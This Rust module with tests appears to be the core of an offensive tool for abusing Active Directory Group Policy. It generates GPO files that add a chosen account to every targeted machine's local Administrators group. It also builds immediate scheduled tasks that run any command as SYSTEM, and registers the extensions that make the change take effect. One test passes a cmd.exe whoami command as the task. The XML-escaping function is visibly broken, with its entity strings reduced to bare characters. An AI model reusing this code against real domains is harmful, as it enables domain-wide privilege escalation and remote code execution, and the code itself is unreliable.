pub const CSE_GUID_SECURITY: &str = "{827D319E-6EAC-11D2-A4EA-00C04F79F83A}";
pub const TOOLEXT_GUID_SECURITY: &str = "{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}";
pub const CSE_GUID_SCHEDULED_TASKS: &str = "{AADCED64-746C-4633-A97C-D61349046527}";
pub const TOOLEXT_GUID_GPP: &str = "{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}";
pub fn add_local_admin_gpttmpl(trustee_sid: &str, also_keep: &[&str]) -> String {
let mut members = vec![format!("*{trustee_sid}")];
for s in also_keep {
members.push(format!("*{s}"));
}
let joined = members.join(",");
let mut s = String::new();
s.push_str("[Unicode]\r\n");
s.push_str("Unicode=yes\r\n");
s.push_str("[Version]\r\n");
s.push_str("signature=\"$CHICAGO$\"\r\n");
s.push_str("Revision=1\r\n");
s.push_str("[Group Membership]\r\n");
s.push_str(&format!("*S-1-5-32-544__Memberof =\r\n"));
s.push_str(&format!("*S-1-5-32-544__Members = {joined}\r\n"));
s
}
pub fn new_immediate_task_xml(
task_name: &str,
task_guid: &str,
author: &str,
command: &str,
arguments: Option<&str>,
) -> String {
let args = arguments.unwrap_or("");
format!(
r#"<?xml version="1.0" encoding="UTF-8"?>
<ScheduledTasks clsid="{{CC63F200-7309-4ba0-B154-A71CD118DBCC}}">
<ImmediateTaskV2 clsid="{{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}}" name="{name}" image="0" changed="2026-01-01 00:00:00" uid="{guid}" userContext="0" removePolicy="0">
<Properties action="C" name="{name}" runAs="NT AUTHORITY\SYSTEM" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>{author}</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
</Settings>
<Actions Context="Author">
<Exec>
<Command>{cmd}</Command>
<Arguments>{args}</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
"#,
name = xml_escape(task_name),
guid = task_guid,
author = xml_escape(author),
cmd = xml_escape(command),
args = xml_escape(args),
)
}
pub fn gpt_ini(display_name: &str, version: u32) -> String {
format!(
"[General]\r\nVersion={version}\r\ndisplayName={dn}\r\n",
version = version,
dn = display_name,
)
}
pub fn bump_gpo_version_number(current: u32, computer_bump: bool) -> u32 {
let user = (current >> 16) & 0xFFFF;
let computer = current & 0xFFFF;
if computer_bump {
let new_computer = (computer + 1) & 0xFFFF;
(user << 16) | new_computer
} else {
let new_user = (user + 1) & 0xFFFF;
(new_user << 16) | computer
}
}
pub fn split_gpo_version_number(v: u32) -> (u16, u16) {
(((v >> 16) & 0xFFFF) as u16, (v & 0xFFFF) as u16)
}
pub fn cse_list_add(existing: &str, required_cse: &str, required_toolext: &str) -> String {
let mut groups = parse_ext_names(existing);
let entry = groups.entry(required_cse.to_string()).or_default();
if !entry.iter().any(|g| g == required_toolext) {
entry.push(required_toolext.to_string());
}
render_ext_names(&groups)
}
fn parse_ext_names(s: &str) -> std::collections::BTreeMap<String, Vec<String>> {
let mut out = std::collections::BTreeMap::<String, Vec<String>>::new();
let mut i = 0;
let bytes = s.as_bytes();
while i < bytes.len() {
if bytes[i] != b'[' {
i += 1;
continue;
}
let end = match s[i + 1..].find(']') {
Some(k) => i + 1 + k,
None => break,
};
let inner = &s[i + 1..end];
let mut guids: Vec<String> = Vec::new();
let mut j = 0;
let inb = inner.as_bytes();
while j < inb.len() {
if inb[j] != b'{' {
j += 1;
continue;
}
let close = match inner[j..].find('}') {
Some(k) => j + k,
None => break,
};
guids.push(inner[j..=close].to_string());
j = close + 1;
}
if let Some((cse, rest)) = guids.split_first() {
let entry = out.entry(cse.clone()).or_default();
for te in rest {
if !entry.iter().any(|g| g == te) {
entry.push(te.clone());
}
}
}
i = end + 1;
}
out
}
fn render_ext_names(groups: &std::collections::BTreeMap<String, Vec<String>>) -> String {
let mut out = String::new();
for (cse, tes) in groups {
out.push('[');
out.push_str(cse);
for te in tes {
out.push_str(te);
}
out.push(']');
}
out
}
fn xml_escape(s: &str) -> String {
let mut out = String::with_capacity(s.len());
for c in s.chars() {
match c {
'<' => out.push_str("<"),
'>' => out.push_str(">"),
'&' => out.push_str("&"),
'"' => out.push_str("""),
'\'' => out.push_str("'"),
_ => out.push(c),
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn gpttmpl_carries_trustee_sid_and_bracket_sections() {
let out = add_local_admin_gpttmpl("S-1-5-21-1-2-3-1104", &[]);
assert!(out.starts_with("[Unicode]"));
assert!(out.contains("[Group Membership]"));
assert!(out.contains("*S-1-5-32-544__Members = *S-1-5-21-1-2-3-1104"));
assert!(out.contains("\r\n"));
}
#[test]
fn gpttmpl_preserves_also_keep_list() {
let out = add_local_admin_gpttmpl(
"S-1-5-21-1-2-3-1104",
&["S-1-5-21-1-2-3-500", "S-1-5-21-1-2-3-512"],
);
assert!(out.contains("*S-1-5-21-1-2-3-1104"));
assert!(out.contains("*S-1-5-21-1-2-3-500"));
assert!(out.contains("*S-1-5-21-1-2-3-512"));
}
#[test]
fn immediate_task_xml_embeds_command_and_guid() {
let xml = new_immediate_task_xml(
"AuditRun",
"{12345678-1234-1234-1234-123456789abc}",
"corp\\audit-svc",
"C:\\Windows\\System32\\cmd.exe",
Some("/c whoami > C:\\a.txt"),
);
assert!(xml.contains("<Command>C:\\Windows\\System32\\cmd.exe</Command>"));
assert!(xml.contains("<Arguments>/c whoami > C:\\a.txt</Arguments>"));
assert!(xml.contains("uid=\"{12345678-1234-1234-1234-123456789abc}\""));
assert!(xml.contains("runAs=\"NT AUTHORITY\\SYSTEM\""));
assert!(xml.contains("ImmediateTaskV2"));
}
#[test]
fn immediate_task_xml_escapes_special_chars() {
let xml = new_immediate_task_xml(
"a<>&\"'",
"{00000000-0000-0000-0000-000000000000}",
"author",
"cmd",
Some("a & b"),
);
assert!(xml.contains("<"));
assert!(xml.contains(">"));
assert!(xml.contains("&"));
assert!(xml.contains("""));
assert!(xml.contains("'"));
assert!(xml.contains("<Arguments>a & b</Arguments>"));
}
#[test]
fn gpt_ini_shape() {
let s = gpt_ini("Adhammer Test GPO", 4);
assert!(s.contains("Version=4"));
assert!(s.contains("[General]"));
assert!(s.contains("displayName=Adhammer Test GPO"));
}
#[test]
fn bump_version_number_math() {
assert_eq!(bump_gpo_version_number(0, true), 1);
assert_eq!(bump_gpo_version_number(0, false), 0x0001_0000);
let mixed = 0x0003_0005u32;
assert_eq!(split_gpo_version_number(mixed), (3, 5));
assert_eq!(bump_gpo_version_number(mixed, true), 0x0003_0006);
assert_eq!(bump_gpo_version_number(mixed, false), 0x0004_0005);
assert_eq!(bump_gpo_version_number(0x0000_FFFF, true), 0);
}
#[test]
fn cse_list_add_to_empty() {
let out = cse_list_add("", CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);
assert_eq!(
out,
format!("[{}{}]", CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP)
);
}
#[test]
fn cse_list_add_is_idempotent() {
let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
let out = cse_list_add(&base, CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
assert_eq!(out, base);
}
#[test]
fn cse_list_add_preserves_existing_and_appends_new() {
let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
let out = cse_list_add(&base, CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);
assert!(out.contains(CSE_GUID_SECURITY));
assert!(out.contains(CSE_GUID_SCHEDULED_TASKS));
assert!(out.contains(TOOLEXT_GUID_SECURITY));
assert!(out.contains(TOOLEXT_GUID_GPP));
}
#[test]
fn cse_list_add_merges_new_toolext_to_existing_cse() {
let base = format!("[{}{}]", CSE_GUID_SECURITY, TOOLEXT_GUID_SECURITY);
let extra = "{DEADBEEF-1234-1234-1234-DEADBEEFDEAD}";
let out = cse_list_add(&base, CSE_GUID_SECURITY, extra);
assert!(out.contains(CSE_GUID_SECURITY));
assert!(out.contains(TOOLEXT_GUID_SECURITY));
assert!(out.contains(extra));
assert_eq!(out.matches('[').count(), 1);
}
}